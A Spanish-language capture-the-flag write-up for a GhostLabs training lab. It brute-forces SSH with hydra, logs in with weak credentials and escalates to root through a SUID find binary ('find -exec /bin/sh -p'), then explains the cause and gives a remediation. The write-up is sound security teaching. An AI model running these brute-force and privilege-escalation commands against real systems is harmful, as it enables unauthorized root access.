# GhostLabs — SUID PRIVESC :: Write-up

> ⚠️  SPOILER — Lee esto solo después de intentar resolver el lab.

---

## Objetivo

Obtener acceso root al sistema y leer `/root/flag.txt`.

---

## Información del lab

| Campo       | Valor              |
|-------------|--------------------|
| Dificultad  | Fácil (2 pts)      |
| Servicios   | SSH (puerto 2222)  |
| Usuario     | ghost / ghost123   |
| Vectores    | SSH brute → SUID find |

---

## Paso 1 — Reconocimiento

Escanea el objetivo con nmap:

```bash
nmap -sV -p 2222 <LAB_IP>
```

Verás el puerto 2222 (SSH) abierto.

---

## Paso 2 — Fuerza bruta SSH

El puerto 2222 está abierto y acepta autenticación por contraseña. Lanzamos hydra contra el usuario `ghost`:

```bash
hydra -l ghost -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 4
```

Credenciales encontradas: `ghost` / `ghost123`

---

## Paso 3 — Acceso inicial

Conéctate por SSH:

```bash
ssh ghost@<LAB_IP> -p 2222
# password: ghost123
```

> ⚠️ Si has usado otra máquina GhostLabs antes (misma IP `172.17.0.x`), SSH mostrará el error `WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED`. Elimina la clave antigua y vuelve a conectar:
> ```bash
> ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '[<LAB_IP>]:2222'
> ssh ghost@<LAB_IP> -p 2222
> ```

Ya tienes una shell con usuario no privilegiado.

---

## Paso 4 — Enumeración de SUID

Busca binarios con el bit SUID activado:

```bash
find / -perm -4000 -type f 2>/dev/null
```

Entre los resultados verás algo inusual:

```
/usr/bin/find
```

El binario `find` tiene el bit SUID activo, lo que significa que se ejecuta como root independientemente del usuario que lo invoque.

---

## Paso 5 — Explotación

Consulta [GTFOBins](https://gtfobins.github.io/gtfobins/find/#suid) para ver cómo explotar `find` con SUID.

El truco es usar el parámetro `-exec` para ejecutar comandos como root:

```bash
/usr/bin/find . -exec /bin/sh -p \; -quit
```

El flag `-p` indica a sh que no descarte los privilegios del SUID. Ahora tienes una shell como root:

```bash
whoami
# root
```

---

## Paso 6 — Flag

```bash
cat /root/flag.txt
# GhostLabs{5u1d_f1nd_2_r00t_0wn3d}
```

---

## ¿Por qué funciona?

Cuando un binario tiene el bit SUID activo (`-rwsr-xr-x`), el sistema operativo lo ejecuta con los permisos del **propietario del fichero** (root en este caso) en lugar de los del usuario que lo lanza.

`find` permite ejecutar comandos arbitrarios con `-exec`, lo que combinado con SUID significa ejecución arbitraria como root.

---

## Remediación

```bash
# Quitar el bit SUID de find
chmod u-s /usr/bin/find
```

Regla general: **ningún binario estándar del sistema debería tener SUID** salvo los estrictamente necesarios (`passwd`, `sudo`, `ping`...).

---

## Recursos

- [GTFOBins - find](https://gtfobins.github.io/gtfobins/find/)
- [HackTricks - SUID](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#suid-and-sgid)
- `man find`

---

*GhostLabs — red team operations :: offensive security*
